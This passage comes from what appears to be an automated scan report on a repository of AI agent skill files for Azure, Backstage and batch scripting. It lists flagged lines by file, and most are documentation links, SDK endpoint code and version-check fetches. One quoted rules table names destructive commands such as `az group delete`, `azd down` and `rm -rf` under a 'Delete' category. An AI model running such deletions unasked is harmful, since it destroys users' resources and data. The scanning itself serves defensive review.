    - [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)

harness/claude-code/skills/azure-storage/SKILL.md

  • Network accessline 97
    - Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview)
  • Network accessline 98
    - File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction)
  • Network accessline 99
    - Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)

harness/claude-code/skills/azure-storage/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-storage/references/sdk-usage.md

  • Network accessline 36
    service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential())
  • Network accessline 47
    const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential());
  • Network accessline 58
    var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential());
  • Network accessline 70
    BlobServiceClient client = new BlobServiceClientBuilder()     .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 71
    .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 90
    func main() {     cred, _ := azidentity.NewDefaultAzureCredential(nil)     client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 92
    client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 104
    let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",
  • Network accessline 105
    let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",     "my-container",
  • Network accessline 106
    "https://ACCOUNT.blob.core.windows.net/",

harness/claude-code/skills/azure-storage/references/sdk/azure-storage-blob-ts.md

  • Network accessline 12
    import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md

  • Network accessline 12
    import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/skills/azure-storage/references/sdk/azure-storage-queue-ts.md

  • Network accessline 12
    import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/skills/azure-upgrade/SKILL.md

  • Network accessline 86
    - [Automation Scripts](references/services/functions/automation.md) - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage
  • Network accessline 87
    - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil
  • Network accessline 88
    - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git

harness/claude-code/skills/azure-upgrade/references/languages/java/INSTRUCTION.md

  • Network accessline 102
    - If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure
  • Network accessline 103
    E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`.   For Azure libraries in azure-sdk-bom, check https://raw.githubuse
  • Network accessline 104
    For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml.
  • Network accessline 115
    - [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide)
  • Network accessline 116
    - [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb)
  • Network accessline 117
    - [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh)
  • Network accessline 118
    - [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg)
  • Network accessline 119
    - [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md)
  • Network accessline 120
    - [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md)
  • Network accessline 121
    - [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md)
  • Network accessline 122
    - [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md)
  • Network accessline 123
    - [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets)
  • Network accessline 124
    - [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys)
  • Network accessline 125
    - [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert)
  • Network accessline 126
    - [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md)
  • Network accessline 127
    - [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md)
  • Network accessline 128
    - [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md)
  • Network accessline 129
    - [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md)
  • Network accessline 130
    - [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)

harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md

  • Network accessline 3
    Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is

harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md

  • Network accessline 3
    OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.

harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 25
    - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions))
  • Network accessline 84
    For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.

harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 25
    - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions))
  • Network accessline 85
    For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk

harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md

  • Network accessline 39
    If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom.
  • Network accessline 57
    > 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
  • Network accessline 58
    > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`

harness/claude-code/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md

  • Network accessline 16
    Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess

harness/claude-code/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md

  • Access to secretsline 61
    [Credential-related source omitted]

harness/claude-code/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 44
    ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 45
    BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 46
    POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 80
    def _get_latest_bom_version() -> str:     try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 81
    try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:             pom_xml = response.read()
  • Network accessline 82
    with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 167
    except ET.ParseError:         return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 168
    return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}     for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns):
  • Network accessline 169
    ns = {"m": "http://maven.apache.org/POM/4.0.0"}

harness/claude-code/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md

  • Network accessline 198
    - **Fluent API Changes**      - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth
  • Network accessline 199
    - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. -->
  • Network accessline 200
    - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.

harness/claude-code/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md

  • Network accessline 111
    - **Fluent API Changes**     - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
  • Network accessline 112
    - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide     - **Files Changed**: ResourceProvisioner.jav
  • Network accessline 113
    - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide

harness/claude-code/skills/azure-upgrade/references/services/functions/automation.md

  • Network accessline 4
    > All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to
  • Network accessline 6
    > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 317
    - [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops)
  • Network accessline 318
    - [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions)
  • Network accessline 357
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST")
  • Network accessline 374
    # Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
  • Network accessline 375
    curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"

harness/claude-code/skills/azure-upgrade/references/services/functions/consumption-to-flex.md

  • Network accessline 4
    > **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/
  • Network accessline 6
    > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 139
    1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba
  • Network accessline 140
    2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks
  • Network accessline 141
    3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`)
  • Network accessline 223
    - [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan)
  • Network accessline 224
    - [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to)
  • Network accessline 225
    - [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only)
  • Network accessline 226
    - [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC)
  • Network accessline 227
    - [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)

harness/claude-code/skills/azure-upgrade/references/services/redis/redis-to-amr.md

  • Network accessline 10
    | Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s
  • Network accessline 11
    |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** —
  • Network accessline 12
    | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill |
  • Network accessline 13
    | **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr
  • Network accessline 48
    - IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c
  • Network accessline 50
    - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur
  • Network accessline 60
    - Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen
  • Network accessline 62
    - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-
  • Network accessline 98
    - AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill
  • Network accessline 99
    - ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill
  • Network accessline 100
    - Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/
  • Network accessline 101
    - ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers
  • Network accessline 102
    - Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration

harness/claude-code/skills/azure-validate/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/claude-code/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-validate/references/recipes/scripts/validate-deployment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-validate/references/recipes/terraform/README.md

  • Network accessline 59
    - Terraform: see https://developer.hashicorp.com/terraform/install

harness/claude-code/skills/azure-validate/references/recipes/terraform/errors.md

  • Network accessline 28
    site_config {     cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 29
    cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]     }
  • Network accessline 30
    allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 36
    resource "azurerm_linux_web_app" "frontend" {   app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 37
    app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"   }
  • Network accessline 38
    API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 64
    > ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti

harness/claude-code/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    Add-Result "Terraform installed" "PASS" } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" }
  • Network accessline 52
    Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"

harness/claude-code/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 50
    record "Terraform installed" "PASS" else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi
  • Network accessline 52
    record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Dangerous shell operationline 102
    rm -f "$tmp"

harness/claude-code/skills/azure-validate/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 53
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-validate/references/scripts/workflow.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-validate/references/scripts/workflow.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-well-architected-review/SKILL.md

  • Network accessline 29
    ### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 30
    Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
  • Network accessline 31
    - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 32
    - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)

harness/claude-code/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/claude-code/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/claude-code/skills/batch-files/references/batch-files-and-functions.md

  • Network accessline 212
    - **Get Default Browser** — Manual: `START ms-settings:defaultapps`. Programmatic: read `HKCU\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice\ProgID` via `REG QUERY`, returns a value like `FirefoxHTML-308046B0A
  • Network accessline 213
    - **Auto-Download Prompt** — Check if a third-party tool exists: `TOOL /? >NUL 2>&1` then `IF ERRORLEVEL 1` means missing. If tool returns non-zero on `/?`, use `(TOOL /? 2>&1) | FIND /I "copyright" >NUL` to detect its output. Prompt user: 
  • Network accessline 214
    - **E-mail from Batch** — `START mailto:user@example.com?subject=Hello%%20World^&body=Message%%20text`. Escaping: spaces=`%%20`, CR/LF=`%%0D%%0A`, ampersands escaped with caret (`^&`), double `%%` for batch. Length limited to max command li
  • Network accessline 215
    - **FTP Scripting** — `FTP -s:scriptfile hostname` for unattended transfers. Script file contains: `USER username`, password (next line), `cd path`, `binary`, `prompt n`, `mget *.*` (or `mput`). Security: create script on-the-fly with `ECHO

harness/claude-code/skills/batch-files/references/cygwin.md

  • Network accessline 7
    - [Cygwin User's Guide](https://cygwin.com/cygwin-ug-net.html) — comprehensive official documentation
  • Network accessline 8
    - [Cygwin FAQ](https://cygwin.com/faq.html)
  • Network accessline 9
    - [Cygwin Homepage](https://cygwin.com/)

harness/claude-code/skills/batch-files/references/msys2.md

  • Network accessline 7
    - [Getting Started](https://www.msys2.org/)
  • Network accessline 8
    - [What is MSYS2?](https://www.msys2.org/docs/what-is-msys2/)
  • Network accessline 9
    - [Who Is Using MSYS2?](https://www.msys2.org/docs/who-is-using-msys2/)
  • Network accessline 10
    - [MSYS2 Installer](https://www.msys2.org/docs/installer/)
  • Network accessline 11
    - [News](https://www.msys2.org/news/)
  • Network accessline 12
    - [FAQ](https://www.msys2.org/docs/faq/)
  • Network accessline 13
    - [Supported Windows Versions and Hardware](https://www.msys2.org/docs/windows_support/)
  • Network accessline 14
    - [ARM64 Support](https://www.msys2.org/docs/arm64/)
  • Network accessline 20
    - [Environments Overview](https://www.msys2.org/docs/environments/)
  • Network accessline 21
    - [GCC vs LLVM/Clang](https://www.msys2.org/docs/environments/#gcc-vs-llvmclang)
  • Network accessline 22
    - [MSVCRT vs UCRT](https://www.msys2.org/docs/environments/#msvcrt-vs-ucrt)
  • Network accessline 23
    - [Changelog](https://www.msys2.org/docs/environments/#changelog)
  • Network accessline 35
    - [Updating MSYS2](https://www.msys2.org/docs/updating/)
  • Network accessline 36
    - [Filesystem Paths](https://www.msys2.org/docs/filesystem-paths/)
  • Network accessline 37
